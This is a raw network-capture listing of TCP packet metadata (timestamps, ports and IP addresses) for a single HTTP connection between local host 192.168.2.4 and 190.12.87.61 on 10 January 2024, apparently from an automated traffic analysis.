Jan 10, 2024 15:49:10.155725956 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.155756950 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.155790091 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.155873060 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.155913115 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.155999899 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.156040907 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.156328917 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.156368017 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.156415939 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.156455040 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.156516075 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.156554937 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.156574011 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.156613111 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.156918049 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.156960964 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157021999 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.157056093 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157109976 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.157149076 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157202959 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.157243013 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157644987 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.157691956 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157718897 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.157759905 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157774925 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.157813072 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.157995939 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158036947 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158087015 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158127069 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158143044 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158174992 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158341885 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158387899 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158406973 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158446074 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158457041 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158488989 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158499956 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158524036 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158544064 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158584118 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.158895969 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.158937931 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.159348011 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.159390926 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.159425974 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.159460068 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.159506083 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.159539938 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.159761906 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.159801960 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345258951 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345318079 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345339060 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345365047 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345388889 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345462084 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345504045 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345526934 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345568895 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345660925 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345695019 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345726967 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345760107 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.345828056 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.345865965 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.346198082 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.346240997 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.346281052 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.346319914 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.346791983 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.346834898 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.346904993 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.346945047 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.346971035 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.347011089 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.347090960 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.347126007 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348290920 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348341942 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348386049 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348424911 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348488092 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348552942 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348618031 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348653078 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348725080 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348766088 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348824024 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348860025 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.348923922 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.348963022 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349081039 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349116087 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349175930 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349215031 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349276066 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349317074 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349334955 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349373102 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349446058 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349483967 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349559069 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349597931 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349709988 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.349750996 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.349987030 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350024939 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350104094 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350140095 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350213051 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350253105 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350308895 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350349903 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350425005 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350462914 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350493908 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350531101 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350589037 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350626945 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350702047 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350742102 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350812912 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350851059 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.350902081 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.350935936 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351006031 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351044893 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351077080 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351115942 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351166010 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351202011 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351252079 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351289988 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351320982 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351358891 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351537943 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351577044 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351639032 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351676941 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351732969 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351768017 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351815939 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351856947 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351887941 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.351927042 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.351985931 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352025032 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352113008 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352150917 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352183104 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352220058 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352308035 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352346897 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352412939 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352452993 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352591038 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352628946 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352750063 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352787018 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352840900 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352880955 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352899075 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.352937937 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.352969885 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353008032 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353076935 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353115082 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353183031 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353220940 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353327990 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353368044 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353393078 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353425026 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353518963 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353560925 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353594065 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353631973 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.353724003 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.353761911 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354125977 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354165077 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354449034 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354492903 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354525089 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354562044 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354625940 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354665041 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354712963 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354748011 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354779005 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354815960 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.354909897 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.354949951 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355012894 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355051994 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355072975 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355108976 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355153084 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355191946 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355268002 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355305910 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355360985 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355398893 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355458975 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355495930 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355552912 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355592012 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355695963 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355736971 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355782032 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355819941 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355875969 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.355911970 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.355974913 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356012106 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356076956 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356115103 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356183052 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356220961 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356311083 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356348991 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356412888 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356450081 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356570959 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356612921 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356645107 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356683969 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356736898 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356775045 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356807947 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.356844902 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.356987000 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.357026100 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.357084036 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.357121944 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.357153893 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.357189894 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.357249022 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.357286930 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.536555052 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.536626101 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.536663055 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.536696911 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.537487030 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.537525892 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.537549019 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.537578106 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.537606955 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.537662983 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.537815094 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.537890911 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.537940025 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.538001060 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.538033009 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.538083076 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.538177013 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.538213968 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.538235903 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.538261890 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.538351059 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.538403034 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544105053 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544194937 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544231892 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544254065 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544275045 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544292927 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544362068 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544411898 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544480085 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544533014 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544606924 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544655085 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544701099 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544753075 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544787884 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544840097 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544904947 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.544950962 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.544995070 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.545052052 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.545085907 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.545140028 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.545248032 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.545300007 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.545496941 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.545562029 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.545588017 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.545641899 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.545840979 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.545897007 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.546439886 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.546497107 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549240112 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549283028 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549304008 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549329042 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549359083 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549393892 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549413919 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549439907 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549468040 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549515009 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549530029 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549562931 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549583912 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549621105 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549645901 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549678087 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549701929 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549737930 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549758911 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549793005 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549812078 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549848080 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549870014 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549911976 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.549942017 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.549985886 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.550000906 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.550030947 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.550055981 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.550112963 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.561445951 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.561495066 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.561503887 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.561537027 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.561691046 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.561733961 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.561784983 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.561826944 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.561860085 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.561898947 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.561953068 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.561995029 CET	49734	80	192.168.2.4	190.12.87.61
